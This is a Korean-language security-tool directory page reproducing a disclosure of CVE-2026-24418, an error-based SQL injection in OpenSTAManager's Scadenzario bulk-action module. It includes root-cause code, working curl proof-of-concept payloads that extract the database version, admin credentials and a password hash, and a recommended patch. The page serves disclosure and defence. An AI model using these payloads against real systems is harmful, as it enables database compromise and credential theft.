Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-24418 — CVE-2026-24418 - OpenSTAManager의 Scadenzario 일괄 작업 모듈에 SQL Injection 취약점이 있습니다. | Kitploit
도구/GitHubGitHub/lukasz-rybak/cve-2026-24418
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHublukasz-rybak/cve-2026-24418

CVE-2026-24418

CVE-2026-24418 - OpenSTAManager의 Scadenzario 일괄 작업 모듈에 SQL Injection 취약점이 있습니다.

저장소 보기
125개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-24418: OpenSTAManager의 Scadenzario 일괄 작업 모듈에서 발견된 SQL 삽입 취약점

개요

필드세부 정보
CVE IDCVE-2026-24418
심각도높음
보안 권고권고 보기
발견자Lukasz Rybak

영향받는 제품

  • devcode-it/openstamanager (버전: <= 2.9.8)

CWE 분류

  • CWE-89: SQL 명령에 사용되는 특수 요소의 부적절한 중화('SQL 삽입')

세부 정보

요약

OpenSTAManager v2.9.8의 Scadenzario(결제 일정) 일괄 작업 모듈에 존재하는 심각한 오류 기반 SQL 삽입 취약점으로 인해 인증된 공격자가 XML 오류 메시지를 통해 사용자 자격 증명, 고객 개인 식별 정보(PII), 금융 기록을 포함한 데이터베이스 전체 내용을 추출할 수 있습니다.

상태: ✅ 실제 인스턴스(v2.9.8)에서 확인 및 테스트 완료 취약 매개변수: id_records[] (POST 배열) 영향받는 엔드포인트: /actions.php?id_module=18 (Scadenzario 모듈) 공격 유형: 오류 기반 SQL 삽입(IN 절)

세부 정보

OpenSTAManager v2.9.8에는 Scadenzario(결제 일정) 모듈의 일괄 작업 처리기에 심각한 오류 기반 SQL 삽입 취약점이 존재합니다. 애플리케이션은 id_records 배열의 요소를 SQL IN() 절에 사용하기 전에 정수인지 검증하지 않으므로, 공격자가 임의의 SQL 명령을 주입하고 XPATH 오류 메시지를 통해 민감한 데이터를 추출할 수 있습니다.

취약점 체인:

  1. 진입점: /actions.php (503~506행)

    root@kitploit:~
    $id_records = post('id_records');
    $id_records = is_array($id_records) ? $id_records : explode(';', $id_records);
    $id_records = array_clean($id_records);
    $id_records = array_unique($id_records);
    

    array_clean() 함수는 빈 값만 제거할 뿐 유형을 검증하지 않습니다.

  2. 취약 함수: /lib/util.php (54~60행)

    root@kitploit:~
    function array_clean($array)
    {
        if (!empty($array)) {
            return array_unique(array_values(array_filter($array, fn ($value) => !empty($value))));
        }
    }
    

    영향: 이 함수는 빈 값을 걸러내지만 SQL 삽입 페이로드를 포함한 비어 있지 않은 모든 값을 허용합니다.

  3. SQL 삽입 지점: /modules/scadenzario/bulk.php (88행) 주요 취약점

    root@kitploit:~
    $scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');
    

    영향: $id_records의 배열 요소는 유형 검증이나 prepare() 없이 implode()를 통해 SQL에 직접 연결되어 완전한 SQL 삽입이 가능합니다.

근본 원인 분석:

취약점은 다음 이유로 존재합니다:

  1. post('id_records')가 사용자 제어 배열을 반환함
  2. array_clean()이 정수가 아닌 값은 제거하지 않고 빈 값만 제거함
  3. implode(',', $id_records)가 배열 요소를 SQL에 직접 연결함
  4. 배열 요소가 정수인지 확인하는 검증이 없음
  5. 공격자는 id_records[]=1&id_records[]=(MALICIOUS SQL)#를 제공하여 SQL을 주입할 수 있음

영향받는 코드 경로:

root@kitploit:~
POST /actions.php?id_module=18
  ↓
actions.php:503 - $id_records = post('id_records')
  ↓
actions.php:505 - $id_records = array_clean($id_records) [NO TYPE VALIDATION]
  ↓
actions.php:509 - include 'modules/scadenzario/bulk.php'
  ↓
bulk.php:88 - WHERE id IN ('.implode(',', $id_records).') [INJECTION POINT]

PoC

1단계: 로그인

root@kitploit:~
curl -c cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
  -d 'username=admin&password=admin'

2단계: 취약점 확인(오류 기반 SQL 삽입)

테스트 1: 데이터베이스 사용자 및 버전 추출

root@kitploit:~
curl -b cookies.txt \
  -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(USER(),' | ',VERSION()))))%23" \
  "http://localhost:8081/actions.php?id_module=18"

응답(공격자에게 노출되는 오류 메시지):

root@kitploit:~
<code>XPATH syntax error: '~osm@localhost | 8.0.40-0ubuntu0.22.04.1'</code>

테스트 2: 관리자 자격 증명 추출

root@kitploit:~
curl -b cookies.txt \
  -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(username,':',email) FROM zz_users LIMIT 1)))%23" \
  "http://localhost:8081/actions.php?id_module=18"

응답:

root@kitploit:~
<code>XPATH syntax error: '~admin:[email protected]'</code>

테스트 3: 비밀번호 해시 추출(1부 - 처음 31자)

root@kitploit:~
curl -b cookies.txt \
  -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,1,31) FROM zz_users LIMIT 1)))%23" \
  "http://localhost:8081/actions.php?id_module=18"

응답:

root@kitploit:~
<code>XPATH syntax error: '~$2y$10$UUPECY1DhQXm2pGEq/UNAeMd'</code>

테스트 4: 비밀번호 해시 추출(2부 - 32~60자)

root@kitploit:~
curl -b cookies.txt \
  -d "op=send_reminder&id_records[]=-999) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT SUBSTRING(password,32,60) FROM zz_users LIMIT 1)))%23" \
  "http://localhost:8081/actions.php?id_module=18"

응답:

root@kitploit:~
<code>XPATH syntax error: '~SoqiRNefN.G9fYMVnCRcvmG0BnwTK'</code>

결합된 비밀번호 해시:

root@kitploit:~
$2y$10$UUPECY1DhQXm2pGEq/UNAeMdSoqiRNefN.G9fYMVnCRcvmG0BnwTK

영향

**Scadenzario(결제 일정) 모듈의 일괄 작업에 접근할 수 있는 모든 인증된 사용자.

권장 수정 방법:

1차 수정 - 유형 검증:

파일: /modules/scadenzario/bulk.php

수정 전(취약 - 88행):

root@kitploit:~
$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');

수정 후(패치됨):

root@kitploit:~
// Validate that all array elements are integers
$id_records = array_map('intval', $id_records);
$id_records = array_filter($id_records, fn($id) => $id > 0); // Remove zero/negative IDs

$scadenze = $database->FetchArray('SELECT * FROM co_scadenziario LEFT JOIN (SELECT id as id_nota, ref_documento FROM co_documenti)as nota ON co_scadenziario.iddocumento = nota.ref_documento WHERE co_scadenziario.id IN ('.implode(',', $id_records).') AND pagato < da_pagare AND nota.id_nota IS NULL ORDER BY idanagrafica, iddocumento');

크레딧

Łukasz Rybak 발견

참고 자료

  • https://github.com/devcode-it/openstamanager/security/advisories/GHSA-4xwv-49c8-fvhq
  • https://nvd.nist.gov/vuln/detail/CVE-2026-24418
  • https://github.com/advisories/GHSA-4xwv-49c8-fvhq

고지 사항

본 CVE는 조정된 취약점 공개 절차에 따라 책임 있게 공개되었습니다. 여기에 제공된 정보는 교육 및 방어 목적으로만 사용됩니다.

도구 다운로드